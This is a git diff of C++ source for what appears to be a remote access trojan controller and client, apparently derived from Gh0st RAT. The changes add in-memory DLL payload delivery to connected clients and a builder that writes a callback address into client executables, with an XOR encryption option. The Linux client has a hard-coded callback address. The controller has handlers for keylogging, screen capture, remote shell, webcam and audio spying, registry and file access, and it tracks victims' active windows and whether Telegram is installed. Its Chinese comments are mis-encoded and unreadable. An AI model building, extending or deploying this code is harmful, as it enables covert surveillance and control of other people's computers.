struct MasterSettings { + int ReportInterval; // ϱ + int Is64Bit; // Ƿ64λ + char MasterVersion[12]; // ذ汾 + int DetectSoftware; // + char Reserved[476]; // Ԥ +}MasterSettings; + +enum +{ + SOFTWARE_CAMERA = 0, + SOFTWARE_TELEGRAM, + + SHELLCODE = 0, + MEMORYDLL = 1, +}; + +typedef DWORD(__stdcall* PidCallback)(void); + +inline const char* EVENTID(PidCallback pid) { + static char buf[64] = { 0 }; + if (buf[0] == 0) { + sprintf_s(buf, "SERVICE [%d] FINISH RUNNING", pid()); + } + return buf; +} + +#define EVENT_FINISHED EVENTID(GetCurrentProcessId) + inline void xor_encrypt_decrypt(unsigned char *data, int len, const std::vector& keys) { for (char key : keys) { for (int i = 0; i < len; ++i) { diff --git a/linux/main.cpp b/linux/main.cpp index 86265e8..d4f9846 100644 --- a/linux/main.cpp +++ b/linux/main.cpp @@ -20,7 +20,7 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength); // 远程地址:当前为写死状态,如需调试,请按实际情况修改 -CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "192.168.0.92", 6543, CLIENT_TYPE_DLL}; +CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "192.168.0.92", "6543", CLIENT_TYPE_LINUX}; // 全局状态 BOOL g_bExit = FALSE; @@ -220,6 +220,7 @@ int main() { if (freq < 0) freq = parse_cpuinfo(); // 回退到 /proc/cpuinfo logInfo.dwCPUMHz = freq > 0 ? static_cast(freq) : 0; logInfo.bWebCamIsExist = 0; + strcpy_s(logInfo.szReserved, "LNX"); IOCPClient *ClientObject = new IOCPClient(g_bExit, false); ClientObject->setManagerCallBack(NULL, DataProcess); diff --git a/server/2015Remote/2015Remote.cpp b/server/2015Remote/2015Remote.cpp index 03c3618..aac4eb6 100644 --- a/server/2015Remote/2015Remote.cpp +++ b/server/2015Remote/2015Remote.cpp @@ -64,6 +64,8 @@ CMy2015RemoteApp::CMy2015RemoteApp() // TODO: ڴ˴ӹ룬 // Ҫijʼ InitInstance m_Mutex = NULL; + + m_iocpServer = new IOCPServer(); } @@ -113,7 +115,7 @@ BOOL CMy2015RemoteApp::InitInstance() // ޸Ϊ˾֯ SetRegistryKey(_T("Remoter")); - CMy2015RemoteDlg dlg; + CMy2015RemoteDlg dlg(m_iocpServer); m_pMainWnd = &dlg; INT_PTR nResponse = dlg.DoModal(); if (nResponse == IDOK) @@ -146,6 +148,11 @@ int CMy2015RemoteApp::ExitInstance() CloseHandle(m_Mutex); m_Mutex = NULL; } - + if (m_iocpServer != NULL) + { + m_iocpServer->Destroy(); + delete m_iocpServer; + m_iocpServer = NULL; + } return CWinApp::ExitInstance(); } diff --git a/server/2015Remote/2015Remote.h b/server/2015Remote/2015Remote.h index 3d80e20..36242f7 100644 --- a/server/2015Remote/2015Remote.h +++ b/server/2015Remote/2015Remote.h @@ -10,6 +10,7 @@ #include "resource.h" // #include "iniFile.h" +#include "IOCPServer.h" // CMy2015RemoteApp: // йشʵ֣ 2015Remote.cpp @@ -21,6 +22,7 @@ public: CMy2015RemoteApp(); iniFile m_iniFile; HANDLE m_Mutex; + IOCPServer* m_iocpServer; // д public: virtual BOOL InitInstance(); diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 7964de0..64be119 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index f804d8d..290d51e 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -38,7 +38,7 @@ enum ONLINELIST_VIDEO, //ͷ() ONLINELIST_PING, //PING(Է) ONLINELIST_VERSION, // 汾Ϣ - ONLINELIST_LOGINTIME, // ʱ + ONLINELIST_LOGINTIME, //  ONLINELIST_CLIENTTYPE, // ͻ ONLINELIST_MAX, }; @@ -62,7 +62,7 @@ COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] = {"ͷ", 72 }, {"PING", 100 }, {"汾", 80 }, - {"ʱ", 150 }, + {"", 150 }, {"", 50 }, }; @@ -79,7 +79,7 @@ COLUMNSTRUCT g_Column_Data_Message[g_Column_Count_Message] = int g_Column_Online_Width = 0; int g_Column_Message_Width = 0; -IOCPServer *m_iocpServer = NULL; + CMy2015RemoteDlg* g_2015RemoteDlg = NULL; static UINT Indicators[] = @@ -119,8 +119,10 @@ END_MESSAGE_MAP() // CMy2015RemoteDlg Ի -CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent) +CMy2015RemoteDlg::CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent) { + m_iocpServer = iocpServer; + m_hExit = CreateEvent(NULL, TRUE, FALSE, NULL); m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME); m_bmOnline[0].LoadBitmap(IDB_BITMAP_ONLINE); @@ -134,6 +136,8 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::I CMy2015RemoteDlg::~CMy2015RemoteDlg() { DeleteCriticalSection(&m_cs); + for (int i = 0; i < PAYLOAD_MAXTYPE; i++) + SAFE_DELETE(m_ServerDLL[i]); } void CMy2015RemoteDlg::DoDataExchange(CDataExchange* pDX) @@ -382,6 +386,8 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName ShowMessage(true,strIP+""); LeaveCriticalSection(&m_cs); + + SendMasterSettings(ContextObject); } @@ -405,6 +411,41 @@ VOID CMy2015RemoteDlg::ShowMessage(BOOL bOk, CString strMsg) m_StatusBar.SetPaneText(0,strStatusMsg); //״̬ʾ } +Buffer* ReadKernelDll(bool is64Bit) { + BYTE* szBuffer = NULL; + int dwFileSize = 0; + + // Ϊ MY_BINARY_FILE BINARY Դ + auto id = is64Bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86; + HRSRC hResource = FindResourceA(NULL, MAKEINTRESOURCE(id), "BINARY"); + if (hResource == NULL) { + return NULL; + } + // ȡԴĴС + DWORD dwSize = SizeofResource(NULL, hResource); + + // Դ + HGLOBAL hLoadedResource = LoadResource(NULL, hResource); + if (hLoadedResource == NULL) { + return NULL; + } + // ԴȡָԴݵָ + LPVOID pData = LockResource(hLoadedResource); + if (pData == NULL) { + return NULL; + } + dwFileSize = dwSize; + szBuffer = new BYTE[sizeof(int) + dwFileSize + 2]; + szBuffer[0] = CMD_DLLDATA; + szBuffer[1] = MEMORYDLL; + memcpy(szBuffer + 2, &dwFileSize, sizeof(int)); + memcpy(szBuffer + 2 + sizeof(int), pData, dwFileSize); + // CMD_DLLDATA + SHELLCODE + dwFileSize + pData + auto ret = new Buffer(szBuffer, sizeof(int) + dwFileSize + 2); + delete[] szBuffer; + return ret; +} + BOOL CMy2015RemoteDlg::OnInitDialog() { CDialogEx::OnInitDialog(); @@ -429,6 +470,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog() pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu); } } + m_ServerDLL[PAYLOAD_DLL_X86] = ReadKernelDll(false); + m_ServerDLL[PAYLOAD_DLL_X64] = ReadKernelDll(true); // ô˶ԻͼꡣӦóڲǶԻʱܽԶ // ִд˲ @@ -451,7 +494,16 @@ BOOL CMy2015RemoteDlg::OnInitDialog() OnCancel(); return FALSE; } - + int m = atoi(((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetStr("settings", "ReportInterval", "5")); + int n = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "SoftwareDetect"); + m_settings = { m, sizeof(void*) == 8, __DATE__, n }; + std::map myMap = {{SOFTWARE_CAMERA, "ͷ"}, {SOFTWARE_TELEGRAM, "籨" }}; + std::string str = myMap[n]; + LVCOLUMN lvColumn; + memset(&lvColumn, 0, sizeof(LVCOLUMN)); + lvColumn.mask = LVCF_TEXT; + lvColumn.pszText = (char*)str.data(); + m_CList_Online.SetColumn(ONLINELIST_VIDEO, &lvColumn); timeBeginPeriod(1); return TRUE; // ǽõؼ򷵻 TRUE @@ -601,13 +653,19 @@ void CMy2015RemoteDlg::Release(){ m_iocpServer->OnClientPreSending(ContextObject, &bToken, sizeof(BYTE)); } LeaveCriticalSection(&m_cs); - Sleep(200); + Sleep(500); - if (m_iocpServer!=NULL) + if (m_iocpServer != NULL) { - delete m_iocpServer; + m_iocpServer->Destroy(); m_iocpServer = NULL; } + g_2015RemoteDlg = NULL; + SetEvent(m_hExit); + CloseHandle(m_hExit); + m_hExit = NULL; + Sleep(500); + timeEndPeriod(1); } @@ -900,6 +958,21 @@ void CMy2015RemoteDlg::OnMainSet() { m_iocpServer->UpdateMaxConnection(Dlg.m_nMax_Connect); } + int m = atoi(((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetStr("settings", "ReportInterval", "5")); + int n = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "SoftwareDetect"); + if (m== m_settings.ReportInterval && n == m_settings.DetectSoftware) { + return; + } + + LVCOLUMN lvColumn; + memset(&lvColumn, 0, sizeof(LVCOLUMN)); + lvColumn.mask = LVCF_TEXT; + lvColumn.pszText = Dlg.m_sSoftwareDetect.GetBuffer(); + CLock L(m_cs); + m_settings.ReportInterval = m; + m_settings.DetectSoftware = n; + m_CList_Online.SetColumn(ONLINELIST_VIDEO, &lvColumn); + SendMasterSettings(nullptr); } @@ -925,7 +998,7 @@ BOOL CMy2015RemoteDlg::ListenPort() BOOL CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection) { - m_iocpServer = new IOCPServer; //̬ǵ + assert(m_iocpServer); UINT ret = 0; if ( (ret=m_iocpServer->StartServer(NotifyProc, OfflineProc, nPort)) !=0 ) { @@ -933,8 +1006,6 @@ BOOL CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection) char code[32]; sprintf_s(code, "%d", ret); MessageBox("úStartServerʧ! :"+CString(code)); - delete m_iocpServer; - m_iocpServer = NULL; return FALSE; } @@ -947,7 +1018,10 @@ BOOL CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection) VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject) { - AUTO_TICK(20); + if (!g_2015RemoteDlg) + return; + + AUTO_TICK(50); switch (ContextObject->v1) { @@ -1005,8 +1079,20 @@ VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject) Dlg->OnReceiveComplete(); break; } - default: - g_2015RemoteDlg->PostMessage(WM_HANDLEMESSAGE, (WPARAM)ContextObject, (LPARAM)ContextObject); + default: { + HANDLE hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); + if (hEvent == NULL) { + Mprintf("===> NotifyProc CreateEvent FAILED: %p <===\n", ContextObject); + return; + } + if (!g_2015RemoteDlg->PostMessage(WM_HANDLEMESSAGE, (WPARAM)hEvent, (LPARAM)ContextObject)) { + Mprintf("===> NotifyProc PostMessage FAILED: %p <===\n", ContextObject); + CloseHandle(hEvent); + return; + } + HANDLE handles[2] = { hEvent, g_2015RemoteDlg->m_hExit }; + DWORD result = WaitForMultipleObjects(2, handles, FALSE, INFINITE); + } } } @@ -1020,6 +1106,8 @@ struct dlgInfo VOID CALLBACK CMy2015RemoteDlg::OfflineProc(CONTEXT_OBJECT* ContextObject) { + if (!g_2015RemoteDlg) + return; dlgInfo* dlg = ContextObject->v1 > 0 ? new dlgInfo(ContextObject->hDlg, ContextObject->v1) : NULL; SOCKET nSocket = ContextObject->sClientSocket; @@ -1031,24 +1119,40 @@ VOID CALLBACK CMy2015RemoteDlg::OfflineProc(CONTEXT_OBJECT* ContextObject) LRESULT CMy2015RemoteDlg::OnHandleMessage(WPARAM wParam, LPARAM lParam) { + HANDLE hEvent = (HANDLE)wParam; CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam; MessageHandle(ContextObject); + if (hEvent) { + SetEvent(hEvent); + CloseHandle(hEvent); + } return S_OK; } VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) { + if (isClosed) { + return; + } switch (ContextObject->InDeCompressedBuffer.GetBYTE(0)) { + case TOKEN_HEARTBEAT: case 137: + UpdateActiveWindow(ContextObject); + break; case SOCKET_DLLLOADER: {// DLL - BYTE cmd[32] = { COMMAND_BYE }; - const char reason[] = "֧, ˳!"; - memcpy(cmd + 1, reason, sizeof(reason)); - m_iocpServer->Send(ContextObject, cmd, sizeof(cmd)); + auto len = ContextObject->InDeCompressedBuffer.GetBufferLength(); + bool is64Bit = len > 1 ? ContextObject->InDeCompressedBuffer.GetBYTE(1) : false; + int typ = (len > 2 ? ContextObject->InDeCompressedBuffer.GetBYTE(2) : MEMORYDLL); + bool isRelease = len > 3 ? ContextObject->InDeCompressedBuffer.GetBYTE(3) : true; + int connNum = 0; + Mprintf("===> '%s' Request DLL [is64Bit:%d isRelease:%d]\n", ContextObject->RemoteAddr().c_str(), is64Bit, isRelease); + char version[12] = {}; + ContextObject->InDeCompressedBuffer.CopyBuffer(version, 12, 4); + SendServerDll(ContextObject, is64Bit); break; } - case COMMAND_BYE: + case COMMAND_BYE: // { CancelIo((HANDLE)ContextObject->sClientSocket); closesocket(ContextObject->sClientSocket); @@ -1056,58 +1160,58 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) break; } case TOKEN_KEYBOARD_START: {// ̼¼ - g_2015RemoteDlg->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)ContextObject); + g_2015RemoteDlg->SendMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)ContextObject); break; } case TOKEN_LOGIN: // ߰ shine { - g_2015RemoteDlg->PostMessage(WM_USERTOONLINELIST, 0, (LPARAM)ContextObject); + g_2015RemoteDlg->SendMessage(WM_USERTOONLINELIST, 0, (LPARAM)ContextObject); break; } - case TOKEN_BITMAPINFO: + case TOKEN_BITMAPINFO: // Զ { - g_2015RemoteDlg->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)ContextObject); + g_2015RemoteDlg->SendMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)ContextObject); break; } - case TOKEN_DRIVE_LIST: + case TOKEN_DRIVE_LIST: // ļ { - g_2015RemoteDlg->PostMessage(WM_OPENFILEMANAGERDIALOG, 0, (LPARAM)ContextObject); + g_2015RemoteDlg->SendMessage(WM_OPENFILEMANAGERDIALOG, 0, (LPARAM)ContextObject); break; } - case TOKEN_TALK_START: + case TOKEN_TALK_START: // Ϣ { - g_2015RemoteDlg->PostMessage(WM_OPENTALKDIALOG, 0, (LPARAM)ContextObject); + g_2015RemoteDlg->SendMessage(WM_OPENTALKDIALOG, 0, (LPARAM)ContextObject); break; } - case TOKEN_SHELL_START: + case TOKEN_SHELL_START: // Զն { - g_2015RemoteDlg->PostMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)ContextObject); + g_2015RemoteDlg->SendMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)ContextObject); break; } - case TOKEN_WSLIST: //wndlist - case TOKEN_PSLIST: //processlist + case TOKEN_WSLIST: // ڹ + case TOKEN_PSLIST: // ̹ { - g_2015RemoteDlg->PostMessage(WM_OPENSYSTEMDIALOG, 0, (LPARAM)ContextObject); + g_2015RemoteDlg->SendMessage(WM_OPENSYSTEMDIALOG, 0, (LPARAM)ContextObject); break; } - case TOKEN_AUDIO_START: + case TOKEN_AUDIO_START: // { - g_2015RemoteDlg->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)ContextObject); + g_2015RemoteDlg->SendMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)ContextObject); break; } - case TOKEN_REGEDIT: + case TOKEN_REGEDIT: // ע { - g_2015RemoteDlg->PostMessage(WM_OPENREGISTERDIALOG, 0, (LPARAM)ContextObject); + g_2015RemoteDlg->SendMessage(WM_OPENREGISTERDIALOG, 0, (LPARAM)ContextObject); break; } - case TOKEN_SERVERLIST: + case TOKEN_SERVERLIST: // { - g_2015RemoteDlg->PostMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject); + g_2015RemoteDlg->SendMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject); break; } - case TOKEN_WEBCAM_BITMAPINFO: + case TOKEN_WEBCAM_BITMAPINFO: // ͷ { - g_2015RemoteDlg->PostMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)ContextObject); + g_2015RemoteDlg->SendMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)ContextObject); break; } } @@ -1123,7 +1227,6 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam) return -1; } - CString strToolTipsText; try { @@ -1158,7 +1261,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam) // strPing.Format("%d", LoginInfor->dwSpeed); - strVideo = LoginInfor->bWebCamIsExist ? "" : ""; + strVideo = m_settings.DetectSoftware ? "" : LoginInfor->bWebCamIsExist ? "" : ""; strAddr.Format("%d", nSocket); AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,LoginInfor->moduleVersion,LoginInfor->szStartTime, @@ -1266,6 +1369,62 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam) return S_OK; } +void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) { + Heartbeat hb; + ctx->InDeCompressedBuffer.CopyBuffer(&hb, sizeof(Heartbeat), 1); + + // ظ + { + HeartbeatACK ack = { hb.Time }; + BYTE buf[sizeof(HeartbeatACK) + 1] = { CMD_HEARTBEAT_ACK}; + memcpy(buf + 1, &ack, sizeof(HeartbeatACK)); + m_iocpServer->Send(ctx, buf, sizeof(buf)); + } + + CLock L(m_cs); + int n = m_CList_Online.GetItemCount(); + DWORD_PTR cur = (DWORD_PTR)ctx; + for (int i = 0; i < n; ++i) { + DWORD_PTR id = m_CList_Online.GetItemData(i); + if (id == cur) { + m_CList_Online.SetItemText(i, ONLINELIST_LOGINTIME, hb.ActiveWnd); + if (hb.Ping > 0) + m_CList_Online.SetItemText(i, ONLINELIST_PING, std::to_string(hb.Ping).c_str()); + if (m_settings.DetectSoftware) + m_CList_Online.SetItemText(i, ONLINELIST_VIDEO, hb.HasSoftware ? "" : ""); + return; + } + } +} + + +void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx) { + BYTE buf[sizeof(MasterSettings) + 1] = { CMD_MASTERSETTING }; + memcpy(buf+1, &m_settings, sizeof(MasterSettings)); + + if (ctx) { + m_iocpServer->Send(ctx, buf, sizeof(buf)); + } + else { + EnterCriticalSection(&m_cs); + for (int i=0, n=m_CList_Online.GetItemCount(); iSend(ContextObject, buf, sizeof(buf)); + } + LeaveCriticalSection(&m_cs); + } +} + +VOID CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool is64Bit) { + auto id = is64Bit ? PAYLOAD_DLL_X64 : PAYLOAD_DLL_X86; + auto buf = m_ServerDLL[id]; + if (buf->length()) { + m_iocpServer->OnClientPreSending(ContextObject, buf->Buf(), buf->length()); + } +} + + LRESULT CMy2015RemoteDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam) { CONTEXT_OBJECT *ContextObject = (CONTEXT_OBJECT*)lParam; diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 00c3b30..2cb9dea 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -13,12 +13,19 @@ // Ƿ˳ضʱҲ˳ͻ #define CLIENT_EXIT_WITH_SERVER 0 +enum +{ + PAYLOAD_DLL_X86 = 0, // 32λ DLL + PAYLOAD_DLL_X64 = 1, // 64λ DLL + PAYLOAD_MAXTYPE +}; + // CMy2015RemoteDlg Ի class CMy2015RemoteDlg : public CDialogEx { // public: - CMy2015RemoteDlg(CWnd* pParent = NULL); // ׼캯 + CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent = NULL); // ׼캯 ~CMy2015RemoteDlg(); // Ի enum { IDD = IDD_MY2015REMOTE_DIALOG }; @@ -50,7 +57,11 @@ public: VOID CreateSolidMenu(); BOOL ListenPort(); BOOL Activate(int nPort,int nMaxConnection); - + void UpdateActiveWindow(CONTEXT_OBJECT* ctx); + void SendMasterSettings(CONTEXT_OBJECT* ctx); + VOID SendServerDll(CONTEXT_OBJECT* ContextObject, bool is64Bit); + Buffer* m_ServerDLL[PAYLOAD_MAXTYPE]; + MasterSettings m_settings; static VOID CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject); static VOID CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject); VOID MessageHandle(CONTEXT_OBJECT* ContextObject); @@ -63,7 +74,8 @@ public: CTrueColorToolBar m_ToolBar; NOTIFYICONDATA m_Nid; - + HANDLE m_hExit; + IOCPServer* m_iocpServer; CRITICAL_SECTION m_cs; BOOL isClosed; diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index c3923f5..7dadcaf 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -207,6 +207,8 @@ + + @@ -302,6 +304,7 @@ + diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index 96d0c8a..16f931f 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -7,6 +7,8 @@ #include "afxdialogex.h" #include +#define OTHER_ITEM 3 + // CBuildDlg Ի IMPLEMENT_DYNAMIC(CBuildDlg, CDialog) @@ -32,11 +34,13 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX) DDX_Text(pDX, IDC_EDIT_PORT, m_strPort); DDX_Control(pDX, IDC_COMBO_EXE, m_ComboExe); DDX_Control(pDX, IDC_COMBO_ENCRYPT, m_ComboEncrypt); + DDX_Control(pDX, IDC_STATIC_OTHER_ITEM, m_OtherItem); } BEGIN_MESSAGE_MAP(CBuildDlg, CDialog) ON_BN_CLICKED(IDOK, &CBuildDlg::OnBnClickedOk) + ON_CBN_SELCHANGE(IDC_COMBO_EXE, &CBuildDlg::OnCbnSelchangeComboExe) END_MESSAGE_MAP() @@ -54,7 +58,7 @@ void CBuildDlg::OnBnClickedOk() BYTE * szBuffer=NULL; DWORD dwFileSize; UpdateData(TRUE); - int index = m_ComboExe.GetCurSel(); + int index = m_ComboExe.GetCurSel(), typ=index; CString file; switch (index) { @@ -67,17 +71,19 @@ void CBuildDlg::OnBnClickedOk() case CLIENT_TYPE_MODULE: file = "ServerDll.dll"; break; + case OTHER_ITEM: + m_OtherItem.GetWindowTextA(file); + typ = -1; default: break; } - if (file.IsEmpty()) + if (file.IsEmpty() || file == "δѡļ") { MessageBox("Ч, ɷ!"); return CDialog::OnOK(); } - unsigned long flag = index == 0 ? FLAG_FINDEN : FLAG_GHOST; //////////Ϣ////////////////////// - CONNECT_ADDRESS g_ConnectAddress = { flag, "", 0, index }; + CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", 0, typ}; g_ConnectAddress.SetServer(m_strIP, atoi(m_strPort)); if (!g_ConnectAddress.IsValid()) @@ -91,10 +97,10 @@ void CBuildDlg::OnBnClickedOk() while ('\\' != *p) --p; strcpy(p+1, file.GetString()); - strFile = path; //õǰδļ - if (_access(path, 0) == -1) + strFile = typ != -1 ? path : file; //õǰδļ + if (_access(strFile, 0) == -1) { - MessageBox(CString(path) + "\r\nģ\"" + file + "\"!"); + MessageBox(CString(strFile) + "\r\nģ\"" + file + "\"!"); return CDialog::OnOK(); } @@ -109,14 +115,14 @@ void CBuildDlg::OnBnClickedOk() File.Read(szBuffer,dwFileSize); File.Close(); //дIPͶ˿ ҪѰ0x1234567ʶȻдλ - int iOffset = MemoryFind((char*)szBuffer,(char*)&g_ConnectAddress.Flag(),dwFileSize,sizeof(DWORD)); + int iOffset = MemoryFind((char*)szBuffer,(char*)g_ConnectAddress.Flag(),dwFileSize, g_ConnectAddress.FlagLen()); if (iOffset==-1) { MessageBox(CString(path) + "\r\nģ\"" + file + "\"֧!"); return; } - if (MemoryFind((char*)szBuffer + iOffset + sizeof(sizeof(g_ConnectAddress)), (char*)&g_ConnectAddress.Flag(), - dwFileSize - iOffset - sizeof(sizeof(g_ConnectAddress)), sizeof(DWORD)) != -1) { + if (MemoryFind((char*)szBuffer + iOffset + sizeof(sizeof(g_ConnectAddress)), (char*)g_ConnectAddress.Flag(), + dwFileSize - iOffset - sizeof(g_ConnectAddress), g_ConnectAddress.FlagLen()) != -1) { MessageBox(CString(path) + "\r\nģ\"" + file + "\"!"); return; } @@ -129,8 +135,8 @@ void CBuildDlg::OnBnClickedOk() else { strcpy(p + 1, "ClientDemo.exe"); } - strSeverFile = path; - DeleteFileA(path); + strSeverFile = typ != -1 ? path : file; + DeleteFileA(strSeverFile); BOOL r=File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite); if (!r) { MessageBox(strSeverFile + "\r\n\"" + strSeverFile + "\"ʧ!"); @@ -182,12 +188,14 @@ BOOL CBuildDlg::OnInitDialog() m_ComboExe.InsertString(CLIENT_TYPE_DLL, "TestRun.exe"); m_ComboExe.InsertString(CLIENT_TYPE_ONE, "ghost.exe"); m_ComboExe.InsertString(CLIENT_TYPE_MODULE, "ServerDll.dll"); + m_ComboExe.InsertString(OTHER_ITEM, CString("ѡļ")); m_ComboExe.SetCurSel(0); m_ComboEncrypt.InsertString(0, ""); m_ComboEncrypt.InsertString(1, "XOR"); m_ComboEncrypt.SetCurSel(0); m_ComboEncrypt.EnableWindow(FALSE); + m_OtherItem.ShowWindow(SW_HIDE); return TRUE; // return TRUE unless you set the focus to a control // 쳣: OCX ҳӦ FALSE @@ -206,3 +214,55 @@ Buffer CBuildDlg::Encrypt(BYTE* buffer, int len, int method) { } return Buffer(); } + + +void CBuildDlg::OnCbnSelchangeComboExe() +{ + auto n = m_ComboExe.GetCurSel(); + if (n == OTHER_ITEM) + { + CComPtr spDesktop; + HRESULT hr = SHGetDesktopFolder(&spDesktop); + if (FAILED(hr)) { + AfxMessageBox("Explorer δȷʼ! Ժԡ"); + return; + } + // ʾļضļıļ + CFileDialog fileDlg(TRUE, _T("dll"), NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT, + _T("All Files (*.*)|*.*|DLL Files (*.dll)|*.dll|EXE Files (*.exe)|*.exe|"), AfxGetMainWnd()); + int ret = 0; + try { + ret = fileDlg.DoModal(); + } + catch (...) { + AfxMessageBox("ļԻδɹ! Ժԡ"); + return; + } + if (ret == IDOK) + { + CString name = fileDlg.GetPathName(); + + m_OtherItem.SetWindowTextA(name); + CFile File; + BOOL ret = File.Open(name, CFile::modeRead | CFile::typeBinary); + if (ret) { + int dwFileSize = File.GetLength(); + LPBYTE szBuffer = new BYTE[dwFileSize]; + File.Read(szBuffer, dwFileSize); + File.Close(); + m_strIP = "127.0.0.1"; + m_strPort = "6543"; + UpdateData(FALSE); + SAFE_DELETE_ARRAY(szBuffer); + } + } + else { + m_OtherItem.SetWindowTextA("δѡļ"); + } + m_OtherItem.ShowWindow(SW_SHOW); + } + else { + m_OtherItem.SetWindowTextA(""); + m_OtherItem.ShowWindow(SW_HIDE); + } +} diff --git a/server/2015Remote/BuildDlg.h b/server/2015Remote/BuildDlg.h index 31b6b51..03071d3 100644 --- a/server/2015Remote/BuildDlg.h +++ b/server/2015Remote/BuildDlg.h @@ -28,4 +28,6 @@ public: Buffer Encrypt(BYTE* buffer, int len, int method); CComboBox m_ComboExe; CComboBox m_ComboEncrypt; + afx_msg void OnCbnSelchangeComboExe(); + CStatic m_OtherItem; }; diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp index ecc9085..c17128b 100644 --- a/server/2015Remote/IOCPServer.cpp +++ b/server/2015Remote/IOCPServer.cpp @@ -34,7 +34,6 @@ #endif #endif -CRITICAL_SECTION IOCPServer::m_cs = {0}; // socket ȡͻIPַ. std::string GetRemoteIP(SOCKET sock) { @@ -64,7 +63,7 @@ IOCPServer::IOCPServer(void) m_hCompletionPort = NULL; m_sListenSocket = INVALID_SOCKET; m_hListenEvent = WSA_INVALID_EVENT; - m_hListenThread = INVALID_HANDLE_VALUE; + m_hListenThread = NULL; m_ulMaxConnections = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "MaxConnection"); @@ -99,38 +98,41 @@ IOCPServer::IOCPServer(void) #endif } - -IOCPServer::~IOCPServer(void) -{ +void IOCPServer::Destroy() { m_bTimeToKill = TRUE; - Sleep(10); - SetEvent(m_hKillEvent); - - Sleep(10); - - if (m_hKillEvent!=NULL) + if (m_hKillEvent != NULL) { + SetEvent(m_hKillEvent); CloseHandle(m_hKillEvent); + m_hKillEvent = NULL; } - if (m_sListenSocket!=INVALID_SOCKET) + if (m_sListenSocket != INVALID_SOCKET) { closesocket(m_sListenSocket); m_sListenSocket = INVALID_SOCKET; } - if (m_hCompletionPort!=INVALID_HANDLE_VALUE) + if (m_hCompletionPort != INVALID_HANDLE_VALUE) { CloseHandle(m_hCompletionPort); m_hCompletionPort = INVALID_HANDLE_VALUE; } - if (m_hListenEvent!=WSA_INVALID_EVENT) + if (m_hListenEvent != WSA_INVALID_EVENT) { CloseHandle(m_hListenEvent); m_hListenEvent = 